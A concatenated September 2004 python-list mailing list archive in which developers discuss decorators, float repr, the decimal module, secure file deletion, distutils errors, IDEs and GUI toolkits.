<1Dh2d.5820$Xc.5095@lakeread01> phansen wrote: > Steve Holden wrote: > [some stuff] > > Steve, I tried replying via email with a content-free > response but got back a message that suggests your > mail server might be having troubles. The bounce > comes from postmaster at your site, and says > "User mailbox exceeds allowed size: sholden at mail.holdenweb.com" > > Maybe you've got a "leave mail on server" checkbox ticked? > > -Peter I'm not actually using that address any more, having received over 40,000 emails in a thirty-day period. I guess to keep the auto-responder working I need to flush the content periodically. Sigh. F*****g spammers. I've changed my Reply-to address now - thanks! regards Steve From greg.lindstrom at novasyshealth.com Wed Sep 8 16:22:14 2004 From: greg.lindstrom at novasyshealth.com (Greg Lindstrom) Date: Wed, 8 Sep 2004 15:22:14 -0500 Subject: Unix Printing Message-ID: <020601c495e1$87dd1610$054b12ac@D18SYX41> Hello, I am about to write a script that will allow the users on my HP-9000 box to list the contents of a directory and choose a file to print. I would then like to show them a menu of printers configured on the box and allow them to choose one (via the "old style" ASCII type menus). Before I go write the beast, do any of you know if anything like that exists? In particular, can I get a list of all of the printers configured on the HP-9000 running HP-UNIX? Thanks for your help, --greg Greg Lindstrom (501) 975-4859 NovaSys Health greg.lindstrom at novasyshealth.com "We are the music makers, and we are the dreamers of dreams" W.W. From me at privacy.net Fri Sep 24 19:19:46 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 16:19:46 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com> <du7d60bbhah.fsf@amadeus.cc.tut.fi> Message-ID: <os89l0h8pdm1goj0eqt0rfgup64modu5ao@4ax.com> Ville Vainio wrote: > >>>>> "Richard" == Richard Hanson <me at privacy.net> writes: > > Richard> undecidable things left unsaid for now. It is a commonly > Richard> accepted thesis that the universe is evolving following > Richard> some, possibly ultimately unknowable, immutable set of > Richard> laws. Humans *do* seem to do > > Is it? For some reason or another, many seem to believe that quantum > mechanics provides some blissfull exit from the immutable set of laws > (and deterministic universe). It's a place where God throws dice every > time a particle hits another. > > Yes, it's absurd and entirely unpythonic, according to the law of "If > the implementation is hard to explain, it's a bad idea." Ahh... Yeah -- you're quite right about the "many." I was using "commonly accepted" for a suitably restricted subset of the "many." ;-) Richard Hanson -- sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com From abuse at 127.0.0.1 Sun Sep 19 12:45:31 2004 From: abuse at 127.0.0.1 (abuse) Date: Sun, 19 Sep 2004 16:45:31 GMT Subject: python on apache and windows tutorial Message-ID: <LIi3d.121696$3l3.27091@attbi_s03> does anyone know of one? im trying to install python on my server but im missing something (probally simple and obvious) a simple tutorial for a simple mind is what i seek. i didnt have much luck googling for one. From tim.peters at gmail.com Fri Sep 3 00:02:38 2004 From: tim.peters at gmail.com (Tim Peters) Date: Fri, 3 Sep 2004 00:02:38 -0400 Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged In-Reply-To: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com> Message-ID: <1f7befae04090221027b478b72@mail.gmail.com> [Alex Martelli] > ... > There are a few known glitches David tells me about: > """ > It seems to pass the tests (other than the scan ones noted) > with the exception of a bunch gmpy_test_rnd.rand due to changing > traceback output in 2.4. I also had to remove the use of > doctest.master since it looks like that's deprecated in 2.4 (it's no > longer exported by the module's __all__). > """ Ya, Edward Loper, Jim Fulton and I have made massive changes to doctest for 2.4, refactoring it mercilessly. doctest.master was a poorly documented attempt at starting to build a framework for managing multiple tests, but as far as I knew it was entirely unused -- all the heavy doctest users I knew about used unittest frameworks, and so 2.4 has grown stronger ways of working with unittest drivers instead. It's also grown much saner "doctest runner" kinds of classes as part of that, as opposed to the old doctest.master global. Under a hopeful belief that nobody was using that anyway, I didn't gripe when Edward refactored it out of existence. This is the first time we've heard that anyone *was* using it! I suppose we could hack one back in, but I'd rather volunteer to rewrite the gmpy tests to use the stronger 2.4 gimmicks ... From http Mon Sep 6 18:24:26 2004 From: http (Paul Rubin) Date: 06 Sep 2004 15:24:26 -0700 Subject: Secure delete with python References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com> <chhoae$5pp$1@online.de> <chhoij$62d$1@online.de> <du74qmb9mzs.fsf@amadeus.cc.tut.fi> Message-ID: <7xd60zf339.fsf@ruckus.brouhaha.com> Ville Vainio <ville at spammers.com> writes: > Benjamin> and there is no guarantee that this actually overwrites > Benjamin> the old file. The filesystem may choose to write the new > Benjamin> content at another location of the disk, leaving the > Benjamin> original data untouched. > > Seriously? What OSen are known for doing this? I'd had thought that if > the file size is unchanged, the data is always written over the old > data... That's what log structured file systems do, for example. > Also, when overwriting a file, it's better to do it several times, > with alternating bit patterns and "syncing" the disk after each > pass. Of course even that is not going to guarantee anything because > it may just go to the hardware cache in the disk unit, but it's > reasonable if you are overwriting lots of data at once. It may never get written to the same sector of the disk as the original file, even if the OS has tried to overwrite those sectors. Disk drives themselves will sometimes remap sectors from one place to another. From jepler at unpythonic.net Thu Sep 2 09:46:41 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 2 Sep 2004 08:46:41 -0500 Subject: Are decorators really that different from metaclasses... In-Reply-To: <ch6umj$74i$1@sea.gmane.org> References: <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org> <20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org> Message-ID: <20040902134641.GE24397@unpythonic.net> On Thu, Sep 02, 2004 at 07:03:50AM -0400, Paul Morrow wrote: > >You also add a new constraint not expressible directly in the Grammar > >file. > > It would be easy to write a BNF expression that states that the optional > docstring is followed by 0+ assignments to magic variables. So what are > you referring to here? Please show me the Grammar rule you have in mind. Here's the relevant part of the current Grammar file, for reference: funcdef: [decorators] 'def' NAME parameters ':' suite suite: simple_stmt | NEWLINE INDENT stmt+ DEDENT ... (simple_stmt and stmt both include expr_stmt as an alternative) expr_stmt: testlist (augassign testlist | ('=' testlist)*) As far as thinking of "non-contrived" examples, the only code I've ever written which explicitly used function attributes used non-underscored names[1], so your syntax wouldn't help me. You could use __* (class private; but I wouldn't have wanted name-mangling) or _* (private) but now you've reached areas where you clearly can't claim you'll affect no existing code. On the other hand, looking at examples where the names have no meaning seems relevant to me, because it shows just how much complication you've added, and how much currently legal code would have its meaning changed under your proposal. > Rewrite and you'll see... > > __author__ = 'Morrow' # defines the container's author > def m(): > __author__ = 'Smith' # defines m's author > __doc__ = __author__ # defines m's docstring > print m.__doc__ It sounds like you're suggesting m.__doc__ will be 'Smith'. Now I have to be confused that y = 3 def n(): __x__ = y is the same as def m(): pass m.__x__ = y but y = 3 def n2(): __x__ = __y__ is the same as m.__x__ = m.__y__ and will raise NameError when the body of the module containing n2 is executed. But, oh well, you would "never write that", so it doesn't matter that you can't give it sane semantics. Jeff [1] __*__ System-defined names. These names are defined by the interpreter and it's implementation (including the standard library); applications should not expect to define additional names using this convention. The set of names of this class defined by Python may be extended in future versions. See section 3.3, ``Special method names.'' -- http://docs.python.org/ref/id-classes.html My function attribute was not system-defined, but application-defined. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040902/d0f656c6/attachment.sig> From aleaxit at yahoo.com Fri Sep 24 07:14:00 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 13:14:00 +0200 Subject: Why not FP for Money? References: <cc887c1d.0409202325.76ec2227@posting.google.com> <10l0lpt9n0n5k9c@news.supernews.com> <ad052e5c.0409211611.7e4411e@posting.google.com> <4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com> <mailman.3721.1095866067.5135.python-list@python.org> <cc887c1d.0409222103.388c40de@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> <mailman.3781.1095942759.5135.python-list@python.org> <civ705$4kl$1@panix1.panix.com> <mailman.3809.1095967700.5135.python-list@python.org> <1gkm1wt.1twm02s1cr3m7hN%aleaxit@yahoo.com> <7xk6ukw149.fsf@ruckus.brouhaha.com> <1gkm3u0.1s58vuhduaeN%aleaxit@yahoo.com> <7xpt4c3v3w.fsf@ruckus.brouhaha.com> Message-ID: <1gkmc61.dymd0dboe1vfN%aleaxit@yahoo.com> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > yep, str(35.72) == '35.72'. > > Hmm. > > >>> 35.72 > 35.719999999999999 > > I wonder why str(35.72) is different from repr(35.72). Because they serve different purposes. As the Tutorial (appendix B) puts it, "you'll see the result you expect in the end if you simply round the display of your final results to the number of decimal digits you expect. str() usually suffices". repr is such [when feasible] that x==eval(repr(x)), str on the other hand is expected to present a nice display for humans, fudging things a bit for the purpose. Alex From adalke at mindspring.com Thu Sep 16 16:55:24 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 16 Sep 2004 20:55:24 GMT Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change In-Reply-To: <pan.2004.09.17.12.13.11.143566@jerf.org> References: <cibkl1$395$07$1@news.t-online.com> <pan.2004.09.17.12.13.11.143566@jerf.org> Message-ID: <05n2d.2048$0i5.1135@newsread3.news.pas.earthlink.net> Jeremy Bowers wrote: > What possible counter-arguments could be brought to bear? > > All-the-keywords-should-be-Unicode-Chinese-ly yrs, Traditional or simplified? :) Andrew dalke at dalkescientific.com From cbfalconer at yahoo.com Sat Sep 4 12:41:49 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Sat, 04 Sep 2004 16:41:49 GMT Subject: Xah Lee's Unixism References: <ur7pks59p.fsf@mail.comcast.net> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <u8ybrrzqd.fsf@mail.comcast.net> <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com> <usm9zqc4h.fsf@mail.comcast.net> <enqhj0ls347lcgc4brjvcjqrtnqvsfencd@4ax.com> <ud612rket.fsf@mail.comcast.net> <u3c1yrka7.fsf@mail.comcast.net> <4139ae57$0$19717$61fed72c@news.rcn.com> Message-ID: <4139C335.3444372C@yahoo.com> jmfbahciv at aol.com wrote: > Anne & Lynn Wheeler <lynn at garlic.com> wrote: >> Anne & Lynn Wheeler <lynn at garlic.com> writes: >> >>> if you choose your road routes carefully enuf ... you can miss >>> a lot of the problems that you would run into moving by train. >>> we had one route where i was on the peak of the house and had >>> to grab wires over the side .... lift the wires up to clear the >>> peak and walk the wires back as the house moved under. >> >> oh ... and people have died doing that ... > > That was my next question :-). How did you manage? He didn't. You missed the funeral. -- Chuck F (cbfalconer at yahoo.com) (cbfalconer at worldnet.att.net) Available for consulting/temporary embedded and systems. <http://cbfalconer.home.att.net> USE worldnet address! From firstname at lastname.pr1v.n0 Thu Sep 2 16:40:52 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 2 Sep 2004 22:40:52 +0200 Subject: Xah Lee's Unixism References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <20040901.2343.57633snz@dsl.co.uk> <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com> Message-ID: <kg08hc.bgc1.ln@via.reistad.priv.no> In article <41376B82.C6A202FC at yahoo.com>, CBFalconer <cbfalconer at worldnet.att.net> wrote: >Peter Hansen wrote: >> Brian {Hamilton Kelly} wrote: >>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >> >>>> There's a story about why railroad tracks are spaced the way they are. >>> >>> Is this the one about two Roman horses' arses? If so, it also accounts >>> for the physical dimensions of the Space Shuttle's boosters. >> >> A quick search using Google will show that while there is a >> certain amount of truth in the original story, most of the >> details are wrong, and the final bit about the booster rockets >> is unsubstantiated. But it's still a cute story. > >I know nothing about those stories, but it seems reasonable to me >that the boosters would have been designed to be transportable by >railroad, which ties their dimensions to track gauge. ISTR there was some tunnel NASA had to relate to if they wanted to move the goods from production to launch. But that may have been earlier products. But rail tunnels are also descended from the same asses, so to speak. -- mrr From aleaxit at yahoo.com Wed Sep 22 05:18:35 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 11:18:35 +0200 Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> Message-ID: <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com> Max M <maxm at mxm.dk> wrote: > Alex Martelli wrote: > > > If you must troll, at least troll with some skill, "julio". Better > > still, as many have already suggested, just go away, thanks. > > Well, not to feed the troll, but there is a few relevant points in it's > posting. (Please, please, please: "its", not "it's"... pretty please...) > When writing big systems, it is nice to be able to have an enviroment to > code in. Eg. an IDE. Many people agree with you, enough to provide a commercial audience for WingIDE, BlackAdder, Kommodo, ActiveState's addin to Microsoft Visual Studio that lets you use VS as an IDE for Python, ...; and open-source constituencies for plugins letting you use Eclipse, as well as self contained IDEs. Nobody forces you to use one, but if you like them, they're there. > self-educating system would be of a big help. A system where > introspection was well supported. I've never used any language with better introspection facilities than Python, not even Lisp. > They do it in Z3 by making the programmer make more work, but it could > probably have been nice if the language was able to do more of the work > in that regards. The day the _language_ starts being designed to help IDEs to the detriment of programmers who prefer not to use them, is the day I switch to Ruby, Smalltalk, Common Lisp, Dylan, or ANY other language who keeps being designed for human beings, not for tools. > An IDE that could make dynamic introspection on a system like that, > would be of a big help. I think that static typed systems might be > easier to write an introspective IDE for. This is an issue when the > system get's a lot bigger than the language. I see your point (and a solid type system, like Haskell's, would surely be more helpful in this regard than wobbly ones like Java's or C#'s). But I consider the advantages of runtime typing to vastly surpass the advantages of the simplification that compiletime typing can give to compilers and other static analysis tools (IDEs included). If you disagree, and crave compiletime typing, there is a huge array of compiletime typed languages for you to choose among, including ones such as bobo, designed to use compiletime typing but otherwise offer some other Python advantages. The only sensible course of action for a compiletime typing fan would seem to be to try out any or all of those other 1000 languages, rather than fighting to foist such typing onto those of us who consider runtime typing superior, and indeed one of Python's greatest strengths. Alex From replaceafill at yahoo.com Thu Sep 23 22:11:56 2004 From: replaceafill at yahoo.com (Douglas Douglas) Date: Thu, 23 Sep 2004 19:11:56 -0700 (PDT) Subject: Parsing HTML document, how? In-Reply-To: <pan.2004.09.24.02.00.15.20428@yahoo.com> Message-ID: <20040924021156.15934.qmail@web21322.mail.yahoo.com> Hi. You should check this link: http://www.diveintopython.org/html_processing/index.html It might give you an idea. I hope it helps you. Regards, Douglas. __________________________________ Do you Yahoo!? Yahoo! Mail - 50x more storage than other providers! http://promotions.yahoo.com/new_mail From 2002 at weholt.org Tue Sep 14 13:42:03 2004 From: 2002 at weholt.org (Thomas) Date: Tue, 14 Sep 2004 19:42:03 +0200 Subject: Simple XMLRPC-server with http/multicast cabilities Message-ID: <2paek0l0609q7r2k5ts6b0vl51nbtb9s4g@4ax.com> Hi, Sorry for the stupid subject, but here it goes: I need a simple Webserver which can 1. serve xmlrpc-methods 2. send multicast packets on local network to get response from a similar server acting as master on the given network 3. somehow serve a single file using simple http/webserver methods to clients Details: I'm got several servers which a want to monitor. There is one master server on my workstation holding global configuration data and one slave server on each fileserver. When started the slave server sends a multicast packet on the local network and gets a response from the server acting as master. Then it uses xmlrpc to fetch config-data. The master can send it a command to scan it's filesystem using xmlrpc and the slave server will provide a simple report available as a webpage.The master server can collect reports from all of the slave servers and present this to the user on the workstation. I want to use modules in the standard python distro, ie. SimpleXMLRPCServer, but if I have to I can also use Twisted ( but I'd prefer to use pure Python-distro modules in the slave servers to reduce installation size etc. ) Any clues on how to do this would be highy appreciated Best regards, Thomas From jani at persian.com Sun Sep 19 17:28:35 2004 From: jani at persian.com (Jani Yusef) Date: 19 Sep 2004 14:28:35 -0700 Subject: need help defining Constant memory requirement References: <d3be1825.0409182100.612a5dcb@posting.google.com> <mailman.3507.1095603871.5135.python-list@python.org> Message-ID: <d3be1825.0409191328.458dc60b@posting.google.com> Heiko Wundram <heikowu at ceosg.de> wrote in message news:<mailman.3507.1095603871.5135.python-list at python.org>... > Am Sonntag, 19. September 2004 07:00 schrieben Sie: > > I am sure the solution is O(n) since the list must > > only iterated once and the dictionary is O(1), correct? > > Thanks for the help!! > > In case you haven't found a solution yet, think about the properties of the > sum of the numbers of the sequence which is n*(n-1)/2 + x with 0 < x < n, > where finding out why this equation holds and what x is is up to you. > > (n being defined as in your example, a sequence having n elements with the > elements in 1..n-1 and only one repeated) > > Heiko. Got it!! Thanks for your help. Here is my revised and working code i=[1,2,3,4,5,6,3] s0=len(i)*(len(i)+1)/2 s1=0 for a in i: sum1+=a return (sum1-sum0)%len(i) I think my main malfunction was with thinking that this was mor ecomplex tna it was. By refocusing on the simple problem statement as suggested the solution came easier. Thanks again. From carribeiro at gmail.com Sat Sep 18 17:01:13 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sat, 18 Sep 2004 18:01:13 -0300 Subject: So I guess PyUI is long abandonded? What else is there? In-Reply-To: <cihu17$c4b$1@wheel2.two14.net> References: <cihu17$c4b$1@wheel2.two14.net> Message-ID: <864d3709040918140135a95917@mail.gmail.com> On Sat, 18 Sep 2004 18:16:07 +0000 (UTC), Martin Maney <maney at pobox.com> wrote: > So the biggest part of the GUI is mostly done: the board and such > display, scroll, etc. Next up are the mostly non-graphic bits, the > text and numbers section of the display. I guess this part would have > been more or less easy in wx, but PyGame offers only very low-level > primitives. PyUI was the most promising package I found, but it seems > to be long dead, judging by the lack of life in its mailing list, > untouched bug list, and general brokenness. The fact that the last > several releases are all zip archives with names that include "win32" > reinforces my feeling that this is not going to get me anywhere useful > for a project that has to work on both MS and X11 platforms. :-( I've checked PyUI right now, and it seems that there is a release numbered "1.0" - which is a sign that it must have reached a somewhat stable stage. The win32 ZIP file that I've downloaded does not contain any windows specific dll, pyd or exe file, but only pure Python code. It includes renderers for OpenGL and PyGame itself, which are cross platform, as far as I know. Are your sure that it will not work for you? What is the latest version you tried? Best regards, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From mmalaterNOSP at Mnycap.rr.com Thu Sep 23 20:00:10 2004 From: mmalaterNOSP at Mnycap.rr.com (Mathieu Malaterre) Date: Fri, 24 Sep 2004 00:00:10 GMT Subject: distutils help: DISTUTILS_DEBUG In-Reply-To: <8QG4d.8942$yg.8573@twister.nyroc.rr.com> References: <8QG4d.8942$yg.8573@twister.nyroc.rr.com> Message-ID: <esJ4d.8975$yg.4987@twister.nyroc.rr.com> What is the purpose of DISTUTILS_DEBUG, if I set it to one, I cannot get anything to run ? For instance: """ from distutils.core import setup import glob thefiles = [] for afile in glob.glob('datadir/*'): if afile.endswith('.not'): continue thefiles.append(afile) print "Packaging up", thefiles setup(name='justdata', data_files = [ [ 'foodir', thefiles ] ] ) """ Here's an example of how this works: [alex at lancelot tryp]$ ls datadir aa.yes bb.not cc.yes [alex at lancelot tryp]$ python setup.py bdist Then try it with export DISTUTILS_DEBUG=1 I get: Packaging up ['bin/libgdcmijpeg8.so', 'bin/libgdcmijpeg12.so', 'bin/libgdcmljpeg.so', 'bin/libgdcm.so', 'bin/libvtkgdcm.so', 'bin/_gdcm.so', 'bin/libvtkgdcmPython.so'] Distribution.parse_config_files(): options (after parsing config files): no commands known yet options (after parsing command line): option dict for 'bdist' command: {} running bdist Distribution.get_command_obj(): creating 'bdist' command object Distribution.get_command_obj(): creating 'build' command object Distribution.get_command_obj(): creating 'bdist_dumb' command object bdist.run: format=gztar, command=bdist_dumb, rest=[] running bdist_dumb running build Distribution.get_command_obj(): creating 'install' command object installing to build/bdist.linux-i686/dumb running install pre-finalize_{unix,other}: prefix: None exec_prefix: None home: None install_base: None install_platbase: None root: build/bdist.linux-i686/dumb install_purelib: None install_platlib: None install_lib: None install_headers: None install_scripts: None install_data: None compile: None Traceback (most recent call last): File "setup.py", line 12, in ? setup(name='justdata', data_files = [ [ 'foodir', thefiles ] ] ) File "/usr/lib/python2.2/distutils/core.py", line 138, in setup dist.run_commands() File "/usr/lib/python2.2/distutils/dist.py", line 902, in run_commands self.run_command(cmd) File "/usr/lib/python2.2/distutils/dist.py", line 922, in run_command cmd_obj.run() File "/usr/lib/python2.2/distutils/command/bdist.py", line 135, in run self.run_command(cmd_name) File "/usr/lib/python2.2/distutils/cmd.py", line 330, in run_command self.distribution.run_command(command) File "/usr/lib/python2.2/distutils/dist.py", line 922, in run_command cmd_obj.run() File "/usr/lib/python2.2/distutils/command/bdist_dumb.py", line 81, in run self.run_command('install') File "/usr/lib/python2.2/distutils/cmd.py", line 330, in run_command self.distribution.run_command(command) File "/usr/lib/python2.2/distutils/dist.py", line 921, in run_command cmd_obj.ensure_finalized() File "/usr/lib/python2.2/distutils/cmd.py", line 112, in ensure_finalized self.finalize_options() File "/usr/lib/python2.2/distutils/command/install.py", line 252, in finalize_options self.dump_dirs("pre-finalize_{unix,other}") File "/usr/lib/python2.2/distutils/command/install.py", line 350, in dump_dirs val = getattr(self, opt_name) File "/usr/lib/python2.2/distutils/cmd.py", line 107, in __getattr__ raise AttributeError, attr AttributeError: no_compile Could someone please fix the documentation saying that one should not use it. Thanks Mathieu Mathieu Malaterre wrote: > Hello, > > I thought this would be easy but I guess I didn't get the distutil > feeling. I am trying to write a setup for install my package but I don't > understand how to do that. > > organisation: > > setup.py > /bin/ > gdcm.py > _gdcm.so > libvtkgdcmPython.so > /gdcmPython/ > gdcm.pth > > > How do you specify setup you want to install library ? Do you use > 'data_files' ? Same thing for gdcm.pth is this a 'data_files' also ? > > Thanks > Mathieu > From aleaxit at yahoo.com Thu Sep 23 09:38:03 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 15:38:03 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <cihrab$1v8$02$1@news.t-online.com> <7xwtyqsmvu.fsf@ruckus.brouhaha.com> <cijurc$4gd$02$1@news.t-online.com> <9ap1l015t6qgcq5s8hil71mrll9e71pnm7@4ax.com> Message-ID: <1gkkodq.sins5z1hdbv0uN%aleaxit@yahoo.com> Richard Hanson <me at privacy.net> wrote: > Peter Otten wrote: > > > Paul Rubin wrote: > > > > > I haven't tried 2.4 yet. After > > > > The auther is currently working on an installer, but just dropping it into > > 2.3's site-packages should work, too. > > I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir. > Seems to work. Any gotchas with this route? None that I know of. Indeed, the author originally wanted to have that approach as the one and only way to use decimal with 2.3, I just made myself a nuisance to him insisting that many inexperienced Pythonistas would have been frigthened to even try that, so finally he packaged things up when he realized it would take less of his time than putting up with yet another whining email from me;-). Alex From aleaxit at yahoo.com Mon Sep 6 14:45:40 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 20:45:40 +0200 Subject: Lager'd Statistics on language migration In-Reply-To: <864d37090409061127211c54cb@mail.gmail.com> References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> <864d37090409060733cc54023@mail.gmail.com> <1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com> <864d37090409061127211c54cb@mail.gmail.com> Message-ID: <F30D63D1-0034-11D9-A6A1-000A95EFAE9E@yahoo.com> On 2004 Sep 06, at 20:27, Carlos Ribeiro wrote: > On Mon, 6 Sep 2004 17:40:44 +0200, Alex Martelli <aleaxit at yahoo.com> > wrote: >> Can you point out some specific behavior, some language-design choice, >> where Ruby is farther away from Perl than Python is? > > Ok, I deserve it :-) Short answer -- I think Ruby's object-oriented > structure is closer to Python's than Perl's. I don't know many Agreed, but while this may meen dist(Ruby,Python)<distr(Ruby,Perl) in some sense, it definitely has no implications re your thesis that dist(Ruby,Perl)>dist(Python,Perl). > all. So in this sense I think Ruby is closer to Python than it is to > Perl. > > I hope it sounded convincing ;-) Sure, and I wouldn't argue either pro or con THIS thesis, but what you originally stated was different: you were comparing distances of the other two languages from Perl, not of the other two from Ruby! Alex From luka.milkovic at public.srce.hr Sat Sep 11 14:06:41 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Sat, 11 Sep 2004 20:06:41 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: <pan.2004.09.11.16.21.15.772439@public.srce.hr> <chvb1c$tj6$00$1@news.t-online.com> Message-ID: <pan.2004.09.11.18.06.40.754033@public.srce.hr> On Sat, 11 Sep 2004 19:01:35 +0200, Diez B. Roggisch wrote: > The problem is the trailing ' in your number - that of course can't be > converted. And I see that the number 6573 has similar problems - it has a > leading '. Yes, I know that, but I don't understand why it works normally for lists under 350 bytes? It works perfectly... > So your splitting code does not work, or your data is malformed - > without more information, I can't say anything about that, but it seems > to me the latter is the case. Data is actually not malformed, because before splitting it looks normal (I mean, no ' or double quotes or other strange characters). The splitting code is the problem, and I don't know how to fix it. I mean, if it would be wrong, the smaller lists wouldn't work either, but it seems the problems occur with big lists. From aleaxit at yahoo.com Sun Sep 19 18:33:17 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 00:33:17 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <pan.2004.09.19.13.27.17.613143@jerf.org> <Ooa3d.318$Pz3.245@trndny01> <mailman.3490.1095579571.5135.python-list@python.org> <70b3d.1822$uz1.747@trndny03> <mailman.3494.1095586574.5135.python-list@python.org> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <7xwtyqvyh5.fsf@ruckus.brouhaha.com> Message-ID: <1gkdyki.tb9xn7vzzikrN%aleaxit@yahoo.com> Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote: > aleaxit at yahoo.com (Alex Martelli) writes: > > Yes, but applying rational arithmetic by default might slow some > > computations far too much for beginners' liking! > > I dunno, lots of Lisp dialects do rational arithmetic by default. And...? What fractions of beginners get exposed to Lisp as their first language just love the resulting precision/speed tradeoff...? I think Paul Graham's "Worse is Better" article applies quite well here... > > Well, you can pretty easily use constructive reals with Python, see for > > example <http://more.btexact.com/people/briggsk2/XR.html> -- that's a > > vastly vaster set than just algebraic numbers. If we DO want precision, > > after all, why should sqrt(5) be more important than log(3)? > > I don't know that it's generally tractable to do exact computation on > constructive reals. How do you implement comparison (<, >, ==)? Well, if you can generate decimal representations on demand (and you'd better, as the user might ask for such output at any time with any a-priori unpredictable number of digits), worst case you can compare them lexicographically, one digit at a time, until you find a different digit (assuming identical signs and integer parts) -- except that equal numbers would not terminate by this procedure. Briggs' implementation finesses the issue by comparing no more than k significant digits, 1000 by default;-) Alex From daniel at syrinx.net Tue Sep 7 10:49:42 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 07 Sep 2004 10:49:42 -0400 Subject: Question: tools for business apps development In-Reply-To: <mailman.2980.1094568177.5135.python-list@python.org> References: <mailman.2847.1094238878.5135.python-list@python.org> <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <mailman.2980.1094568177.5135.python-list@python.org> Message-ID: <2q5vvrFrq42gU2@uni-berlin.de> Ksenia Marasanova wrote: >> And web-based apps are thought to be limited, not interactive >> or responsive enough for the job (the dependence on heavy Javascript >> programming doesn't help it either). >> > > One of possibilities is to use Flash (in a browser) for GUI. I am > thinking about using it for some project that also needs more > interactivity: Flash for frontend, Python for backend (Web service using > XMLRPC). > You can use Flash IDE for fast GUI builing, and code the flow of your > GUI in Action Script files, using your favorite editor. > The sad part of this approach is that you can't program everything in > Python. The nice part is the maintainability (no install, automatically > download of the latest version). > > But these are my thoughts... I wonder what people say who actually did > it :) > > Ksenia. > It's actually a very effective solution, in my experience. You get a cross-platform, very smart client talking to the server of your choice. When I used this approach (pre-Python-discovery) I wrote the server in Java and all messages were exchanged as XML. Now I would make the same choice as you: Python server using XML-RPC. Dan From robmccrea at spaamadelphiaspremoveam.net Mon Sep 13 17:26:51 2004 From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea) Date: Mon, 13 Sep 2004 17:26:51 -0400 Subject: the FCNTL module is deprecated (fixed!) In-Reply-To: <656it3cb.fsf@telus.net> References: <4oidneSCbKpfLNjcRVn-iw@adelphia.com> <QcGdncYR7p6SWNjcRVn-ug@adelphia.com> <656it3cb.fsf@telus.net> Message-ID: <laWdnRuka_MVjdvcRVn-iQ@adelphia.com> Lenard Lindstrom wrote: > Rob McCrea <robmccrea at spaamadelphiaspremoveam.net> writes: > >>I wrote: >> >>>Hi all, >> >>"""start testhelp.py""" >> >>class Object: >> def __init__(self): >> pass >> >>help(Object) >> >>"""end testhelp.py""" >> >> > C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is >> >>>deprecated; >>>please use fcntl >>> DeprecationWarning) >>>Help on class Object in module __main__: >>>class Object >>> | class Object is an empty testing 